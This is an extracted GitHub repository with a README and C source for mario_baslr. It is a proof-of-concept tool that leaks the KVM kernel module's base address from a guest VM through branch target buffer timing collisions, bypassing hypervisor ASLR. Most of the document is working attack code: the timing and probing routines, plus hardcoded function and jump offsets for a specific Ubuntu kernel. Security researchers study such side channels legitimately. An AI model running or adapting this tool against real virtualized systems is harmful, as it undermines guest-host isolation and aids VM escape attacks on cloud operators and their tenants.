Full Code of felixwilhelm/mario_baslr for AI

master e8ef47bfd847 cached
2 files
6.3 KB
1.9k tokens
10 symbols
1 requests
Download .txt
Repository: felixwilhelm/mario_baslr
Branch: master
Commit: e8ef47bfd847
Files: 2
Total size: 6.3 KB

Directory structure:
gitextract_11nq3tm2/

├── README.md
└── mario_baslr.c

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# mario_baslr

![alt text](https://github.com/felixwilhelm/mario_baslr/raw/master/baslr.png "mario_baslr output")


This repository contains a small Proof-of-Concept tool for leaking the base address of the KVM hypervisor kernel module (kvm.ko) from a guest VM. It does this by using a timing side-channel created by collisions in the branch target buffer (BTB) of modern Intel CPUs.
This approach is based on the great research paper ["Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR"] (http://www.cs.binghamton.edu/~dima/micro16.pdf) by Dmitry Evtyushkin, Dmitry Ponomarev and Nael Abu-Ghazaleh. 

Interestingly, the authors of the original paper don't seem to have realised that their technique is not only usable for attacks against KASLR or other user-space tools but also works regardless of virtualization boundaries. This is an important difference to other hardware based timing
attacks such as `prefetch`, which can only be used for addresses that are mapped in the execution context of the attacker. 

In theory the BTB side-channel offers a generic way to bypass hypervisor/host ASLR in virtualized environments. However, there are a number of important restrictions:
* As discussed in the linked paper, the BTB only uses bits 0-30 as hash input. This means ASLR implementations that also randomize the most significant bits of virtual addresses can only be weakened.
* The BTB hashing mechanism does not seem to be very collision safe. This means the PoC tool might not always find a unique  base addresses and return multiple guesses.
* The attacker needs a way to trigger execution of control-flow instructions in the target using its own CPU core. This is relatively easy for hypervisor code (by triggering a VM exit) but might be more difficult when targeting worker processes or device backends.

Only the second issue has an impact when targeting the KVM kernel module, making KVM the easiest target for this attack. 

The offsets used in the PoC are targeting kvm.ko compiled for Ubuntu 16.04 with a 4.4.0-38-generic kernel. Future versions might 
include a fingerprinting mechanism to make this usable in the real world.


================================================
FILE: mario_baslr.c
================================================
/*
mario_baslr.c
Felix Wilhelm [fwilhelm@ernw.de]

Leaks kvm.ko base address from a guest VM
using time delays created by branch target buffer
collisions.

Usage:
- change function + jump offsets for kvm_cpuid and kvm_emulate_hypercall
to the correct values for the KVM version of your target.
(todo: version fingerprinting)
- compile with gcc -O2 (!)
- if base address does not show up after a few tries increase MAX_SEARCH_ADDRESS
  or NUM_RESULTS

See github.com/felixwilhelm/mario_baslr/ for more info.
*/

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#define NUM_RESULTS 8

#define MAX_SEARCH_ADDRESS 0xfc09f0000

void cpuid(int code) {
  asm volatile("cpuid" : : "a"(code) : "ebx", "ecx", "edx");
}

uint64_t rdtsc() {
  uint32_t high, low;
  asm volatile(".att_syntax\n\t"
               "RDTSCP\n\t"
               : "=a"(low), "=d"(high)::);
  return ((uint64_t)high << 32) | low;
}

uint64_t time_function(void (*funcptr)()) {
  uint64_t start;
  for (int i = 0; i < 50; i++) {
    funcptr();
  }
  asm volatile("vmcall" : : : "eax");
  cpuid(0);
  start = rdtsc();
  funcptr();
  uint64_t end = rdtsc();
  cpuid(0);
  return end - start;
}

void jump(void) {
  asm volatile("jmp target\n\t"
               "nop\n\t"
               "nop\n\t"
               "target:nop\n\t"
               "nop\n\t");
}

uint64_t move_and_time(uint64_t addr) {
  void *mapped = mmap((void *)addr, 2048, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  memcpy((void *)addr, jump, 512);
  uint64_t res = 0;
  for (int i = 0; i < 50; i++) {
    res += time_function((void *)addr);
  }
  munmap(mapped, 2048);
  return res / 50;
}

typedef struct _testcase {
  const char *function_name;
  uint32_t function_offset;
  uint16_t jump_offsets[4];
} testcase;

typedef struct _result {
  uint64_t timing;
  uint64_t address;
} result;

int cmp(const void *a, const void *b) {
  uint64_t ta = ((result *)a)->timing;
  uint64_t tb = ((result *)b)->timing;
  if (ta < tb)
    return -1;
  else if (ta > tb)
    return 1;
  return 0;
}

void search_module_base(testcase *t, result *results) {
  uint64_t low = 0xfc0000000 + t->function_offset;
  uint64_t high = MAX_SEARCH_ADDRESS;

  memset(results, 0, sizeof(result) * NUM_RESULTS);

  uint64_t sum = 0, count = 0;
  for (uint64_t c = low; c <= high; c += 0x1000) {
    sum += move_and_time(c);
    count++;
  }

  uint64_t average = sum / count;

  for (uint64_t c = low; c <= high; c += 0x1000) {
    uint64_t timing = 0;
    for (int i = 0; i < 4; i++) {
      timing += move_and_time(c + t->jump_offsets[i]);
    }

    if (timing > (average * 8)) {
      printf("[!] skipping outlier @ %lx : %ld\n", c, timing);
      continue;
    }

    if (timing > results[0].timing) {
      // printf("[.] new candidate @ %lx : %ld\n", c, timing);
      results[0].timing = timing;
      results[0].address = c;
      qsort(results, NUM_RESULTS, sizeof(result), cmp);
    }
  }
}

testcase kvm_cpuid = {.function_name = "kvm_cpuid",
                      .function_offset = 0x3ead0,
                      .jump_offsets = {0, 50, 69, 144}};

testcase kvm_emulate_hypercall = {
    .function_name = "kvm_emulate_hypercall",
    .function_offset = 0xf650,
    .jump_offsets = {0, 47, 56, 66},
};

int main(int argc, char **argv) {
  result r[NUM_RESULTS], r2[NUM_RESULTS];

  search_module_base(&kvm_cpuid, r);
  search_module_base(&kvm_emulate_hypercall, r2);

  int hit = 0;

  for (int i = NUM_RESULTS; i >= 0; i--) {
    result a = r[i];
    for (int j = NUM_RESULTS; j >= 0; j--) {
      result b = r2[j];
      if (a.address - b.address ==
          kvm_cpuid.function_offset - kvm_emulate_hypercall.function_offset) {
        printf("[x] potential hit @ %lx : %lx\n", a.address, b.address);
        printf("[x] kvm_cpuid @ %lx\n", 0xffffffff00000000 | a.address);
        printf("[x] kvm_emulate_hypercall @ %lx\n",
               0xffffffff00000000 | b.address);
        printf("[x] potential kvm.ko base address @ %lx\n",
               0xffffffff00000000 | (a.address - kvm_cpuid.function_offset));
        hit = 1;
      }
    }
  }

  if (!hit) {
    printf("[!] Did not find a possible match :(\n[!] If you are sure your "
           "offsets are correct try again.\n");
  }
}
Download .txt
gitextract_11nq3tm2/

├── README.md
└── mario_baslr.c
Download .txt
SYMBOL INDEX (10 symbols across 1 files)

FILE: mario_baslr.c
  function cpuid (line 30) | void cpuid(int code) {
  function rdtsc (line 34) | uint64_t rdtsc() {
  function time_function (line 42) | uint64_t time_function(void (*funcptr)()) {
  function jump (line 56) | void jump(void) {
  function move_and_time (line 64) | uint64_t move_and_time(uint64_t addr) {
  type testcase (line 76) | typedef struct _testcase {
  type result (line 82) | typedef struct _result {
  function cmp (line 87) | int cmp(const void *a, const void *b) {
  function search_module_base (line 97) | void search_module_base(testcase *t, result *results) {
  function main (line 141) | int main(int argc, char **argv) {
Condensed preview — 2 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (7K chars).
[
  {
    "path": "README.md",
    "chars": 2153,
    "preview": "# mario_baslr\n\n![alt text](https://github.com/felixwilhelm/mario_baslr/raw/master/baslr.png \"mario_baslr output\")\n\n\nThis"
  },
  {
    "path": "mario_baslr.c",
    "chars": 4317,
    "preview": "/*\nmario_baslr.c\nFelix Wilhelm [fwilhelm@ernw.de]\n\nLeaks kvm.ko base address from a guest VM\nusing time delays created b"
  }
]

About this extraction

This page contains the full source code of the felixwilhelm/mario_baslr GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 2 files (6.3 KB), approximately 1.9k tokens, and a symbol index with 10 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!